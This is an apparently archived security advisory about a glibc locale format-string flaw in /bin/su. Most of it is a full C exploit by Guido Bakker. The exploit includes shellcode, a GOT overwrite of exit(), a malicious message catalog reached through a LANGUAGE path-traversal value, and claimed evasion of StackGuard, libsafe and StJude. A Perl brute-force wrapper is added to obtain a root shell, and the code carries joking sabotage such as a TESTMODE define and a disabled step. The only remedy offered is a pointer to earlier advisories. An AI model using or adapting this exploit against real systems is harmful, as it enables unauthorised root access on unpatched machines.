Vulnerability
su
Affected
glibc
Description
Guido Bakker posted following. This is yet another /bin/su +
buggy locale functions in libc exploit. The reason for writing
it is rather easy to explain, all existing versions of "su" format
bug exploits were very unreliable and tedious to use - the number
of addresses on the stack, and thus the number of %.8x signs to
use varied heavily, as well as the alignment. Return adresses
were expected to be specified on the command line, which is imho
an idiotic thing to combine with all the other options that also
are to be 'brute forced'. Finding these values by hand is a too
tedious thing to do and costs the average script-kid way too much
time. Guido hoped to solve this in this exploit and have found
it to work on many different machines so far by using a small
brute forcing perl wrapper.
Also this little exploit demonstrates a part of things Guido has
been working on regarding generalization of overflow/format bug
writing and exploit dynamics. Short discussion here:
- overflow string creation
This is always the most bulky part of writing overflows,
exploits get confusing by adding 10 for loops which form the
string that's used to attack with. The strcreat() function
solves this problem a bit.
- Return address guesses
The EGG shell has been known for long, but it can still vary a
bit because of the number of environment entries - cleaning
the entire environment before proceeding gets rid of this
problem.
- GOT overwrites
An ugly function is used to determine the GOT entry of a given
function exit() in this exploit. It can be rewritten to
include elf.h and read the got withoutintervention of binutils
tools.
- Address to %[0-9]{1,5}d%hn[0-9]{1,5}%d%hn translation
The function createDString() manages this and saves some more
trouble.
Guido has been doing more work regarding exploit function
modelling and generalization, and anyone interested is free to
mail him (obviously, virtually everyone is free to mail me, if not
to state that this source code contains MANY memory leaks).
For the lil kids out there:
1) This code is Double-ROT-13 encoded - decode it before
proceeding
2) Take five black candles, place them in a pentagram around
your computer. Take a piece of charcoal and draw vertices
between the candles.
3) Run around the circle counter-clockwise completely naked
for seven times while performing a ritual goat-sacrifice
and humming strange incantations.
4) Rip out the #define TESTMODE 1 - this forces kids to read
his stuff
5) If strange phenomenae occur during step 2 & 3, do not
worry, this is a common problem of this program, but not
considered a bug.
6) Compile this program
7) Make the following perl file:
#!/usr/bin/perl
for($i=100;$i<400;$i++) {
for($a=0;$a<4;$a++) {
system("./a.out", $i, $a);
system("rm -rf /tmp/LC_MESSAGES");
}
}
The values of "i" can be changed as you like, most of the
time 100 - 200 will do.
8) Run the perl file and have some patience to get a shell
9) If this doesn't work, repeat steps 2, 3, 8 and 9
This exploit uses a GOT overwrite and evades StackGuard,
StackShield and libsafe by doing so. Kernel modules such as
StJude still allow /bin/su to execute processes as root, and
therefore this exploit evades them. We have had some unconfirmed
rumours of strange phenomenae not waning again after presenting
themselves. There is no solution for this yet. This program may
incur a heavy weight on social relations whenever friends or
family barge in during step 2 or 3.
Because of this Guido made sure not to make this easy-to-use su
exploit openwall evading as well; this has been done already in a
hard to use exploit, and it should be trivial to include that in
here. Also, since "su" executes a shell itself, it should be
possible to return explicitly into "su" memory space and evade
non executable stacks like this.
If this doesn't work:
- Make sure /usr/bin/msgfmt is present and executable
- Make sure awk, grep and objdump are where they are expected
to be (look at the #defines in front of the getGOT()
function)
- Make sure /bin/su calls gettext() by doing strings /bin/su \
| grep gettext (Slack 4 & 7 su doesn't do this for instance)
- Make sure you didn't skip step 2 or 3
The code:
/* Synnergy.net (c) 2000 */
/* And now for something completely different - the code: */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#define EMULATE_WINDOWS while(1) { __asm__("cli hlt"); }
#warning cat inebriation.c | mail -s "Idiots coding C" ritchie@bellcore.com
#define THIS_DOES_NOT_DO_ANYTHING_BUT_WHAT_THE_HECK 1
#define GCC_PREPROCESSOR_HICCUP 1
#define FILENAME "/bin/su"
#define TESTMODE 1
#define THE_MEANING_OF_LIFE_THE_UNIVERSE_AND_EVERYTHING 42
int mayRead(const char *);
unsigned long getGOT(const char *, const char *);
void makeEvilFiles(const char *);
int fileExists(const char *);
char *longToChar(unsigned long);
char *strcreat(char *, char *, int);
char *createDString(unsigned long, unsigned int);
char *xmalloc(size_t);
char *xrealloc(void *, size_t);
extern int errno;
/*
Nothing fancy, just shell spawning position independent Aleph1 machine
code :)
*/
char hellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char **argv, char **environ)
{
unsigned long GOTent;
char *evilstring, *evilfmt, *payload;
unsigned int x_num, align=0, retaddy=0xbffffe90;
if(argc==1) {
printf("Use as: %s <Number of %%.8x> [align] [ret addy]\n", argv[0]);
exit(0);
}
if(mayRead(FILENAME)) {
printf("/bin/su is readable - using a GOT overwrite...\n");
GOTent=getGOT(FILENAME, "exit");
printf("GOT entry of function exit() at: 0x%lx\n", GOTent);
} else {
printf("/bin/su is unreadable - overwriting a return address...\n");
printf("Not implemented yet... Exiting\n");
exit(0);
}
x_num=atoi(argv[THE_MEANING_OF_LIFE_THE_UNIVERSE_AND_EVERYTHING-41]);
if(argv[2]) align=atoi(argv[2]);
if(argv[3]) retaddy=strtoul(argv[3], NULL, 16);
printf("Using %d %%.8x\n", x_num);
printf("Using retaddy: 0x%x\n", retaddy);
printf("Using alignment: %d\n", align);
/* Put up correct alignment */
evilstring=strcreat(NULL, "A", align);
/* First write shortest %hn value */
evilstring=strcreat(evilstring, longToChar(GOTent+2), 1);
/* Used as a dummy address for %d incrementation */
evilstring=strcreat(evilstring, "A", 4);
/* Write longest %hn value */
evilstring=strcreat(evilstring, longToChar(GOTent), 1);
/* And do some post alignment - this is needed! */
evilstring=strcreat(evilstring, "A", align);
evilfmt=strcreat(NULL, "%.8x", x_num);
#ifndef THIS_DOES_NOT_DO_ANYTHING_BUT_WHAT_THE_HECK
evilfmt=strcreat(evilfmt, createDString(retaddy, x_num*8), 1);
#endif
payload=strcreat(NULL, "EGG=", 1);
payload=strcreat(payload, "\x90", 500);
payload=strcreat(payload, hellcode, 1);
makeEvilFiles(evilfmt);
/* Create a very select environment in which to function */
/* This will make guessing the return addy unnecessary */
environ[0] = strdup("LANGUAGE=sk_SK/../../../../../../tmp");
environ[1] = payload;
environ[2] = NULL;
execl(FILENAME, "Look mommy, I'm a kiddo!", "-u", evilstring, NULL);
return(0); /* Not reached */
}
/*
Checks if 'filename' is readable
*/
int mayRead(const char *filename)
{
if(!(fopen(filename, "r")) && errno != EACCES) {
perror("fopen()");
exit(-1);
}
if(errno == EACCES) return(0);
return(1);
}
/*
Gets the GOT entry of function 'function' from ELF executable 'filename' if
it's readable
*/
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/bin/grep"
#define AWK "/bin/awk"
unsigned long getGOT(const char *filename, const char *function)
{
char command[1024];
FILE *moo;
char result[11]; /* Format: 0x00000000 -> 10 chars + NULL */
snprintf(command, sizeof(command), "%s --dynamic-reloc %s | %s %s | %s \
'{ print \"0x\"$1; }'", OBJDUMP, filename, GREP, function, AWK);
moo = (FILE *)popen(command, "r");
fgets(result, 11, moo);
pclose(moo);
return(strtol(result, NULL, 16));
}
/*
This function creates the message database files (ab)used to format bug
exploit 'su'
This should be made to work without the /usr/bin/msgfmt file :|
*/
void makeEvilFiles(const char *fmt)
{
FILE *message;
if(mkdir("/tmp/LC_MESSAGES", 0700)) {
perror("mkdir()");
exit(-1);
}
if(chdir("/tmp/LC_MESSAGES")) {
perror("chdir()");
exit(-1);
}
if(!(message=fopen("/tmp/LC_MESSAGES/libc.po", "w"))) {
perror("fopen()");
exit(-1);
}
fprintf(message, "msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(message, "msgstr \"%s\\n\"", fmt);
fflush(message);
fclose(message);
if(!fileExists("/usr/bin/msgfmt")) {
fprintf(stderr, "Error: /usr/bin/msgfmt not found...\n");
exit(-1);
}
system("/usr/bin/msgfmt libc.po -o libc.mo");
}
/*
Checks if a file called 'filename' exists
*/
int fileExists(const char *filename)
{
struct stat file_stat;
if(stat(filename, &file_stat) && errno != ENOENT) {
perror("stat()");
exit(-1);
}
if(errno == ENOENT) return(0);
return(1);
}
/*
Easy way to convert a long integer to a character array
*/
char *longToChar(unsigned long blaat)
{
char *ret;
ret = (char *)xmalloc(sizeof(long)+1);
memcpy(ret, &blaat, sizeof(long));
ret[sizeof(long)] = 0x00;
return(ret);
}
/*
Yummy yummy function for easy string creation
*/
char *strcreat(char *dest, char *pattern, int repeat)
{
char *ret;
size_t plen, dlen=0;
int i;
if(dest) dlen = strlen(dest);
plen = strlen(pattern);
ret = (char *)xrealloc(dest, dlen+repeat*plen+1);
if(!dest) ret[0] = 0x00;
for(i=0;i<repeat;i++) {
strcat(ret, pattern);
}
return(ret);
}
/*
This function is VERY usefull for creating the format that does the
writeback trick.
retaddy specifies the address (return address most of the time) to convert
to a format to be used in format string attacks
n_value specifies the value %n is going to posess when the %d values
that are used to increment it to bizarre (returning :) values, as to
exactly determine what string to generate
*/
char *createDString(unsigned long retaddy, unsigned int n_value)
{
char *ret;
unsigned int high, low, bucket;
high=retaddy & 0xffff; /* Get first 16 bits in high */
low=(retaddy & 0xffff0000) >> 16; /* Get other 16 in low */
high-=n_value; /* Keep in mind that x_num increments %n as well */
low-=n_value; /* The .8 is necessary to avoid arbitrary increments */
if(high < low) { /* We swap low and higher adresses */
low = bucket; /* This is usefull on platforms with for instance */
low = high; /* Lower bound stacks or strange return addy's */
high = low; /* Ie. returning in libc/process space */
}
ret=(char *)xmalloc(1024);
snprintf(ret, 1024, "%%%dd%%hn%%%dd%%hn", low, high-low);
return(ret);
}
/*
Malloc wrapper that does error checking
*/
char *xmalloc(size_t size)
{
char *heidegger_was_a_boozy_beggar;
if(!(heidegger_was_a_boozy_beggar=(char *)malloc(size))) {
fprintf(stderr, "Out of cheese error\n");
exit(-1);
}
return(heidegger_was_a_boozy_beggar);
}
/*
Realloc wrapper that does error checking
*/
char *xrealloc(void *ptr, size_t size)
{
char *wittgenstein_was_a_drunken_swine;
if(!(wittgenstein_was_a_drunken_swine=(char *)realloc(ptr, size))) {
fprintf(stderr, "Cannot calculate universe\n");
exit(-1);
}
return(wittgenstein_was_a_drunken_swine);
}
/*
* [root@satan scrippie]# whatis life
* life: nothing appropriate
*/
Solution
See previous glibc advisories.
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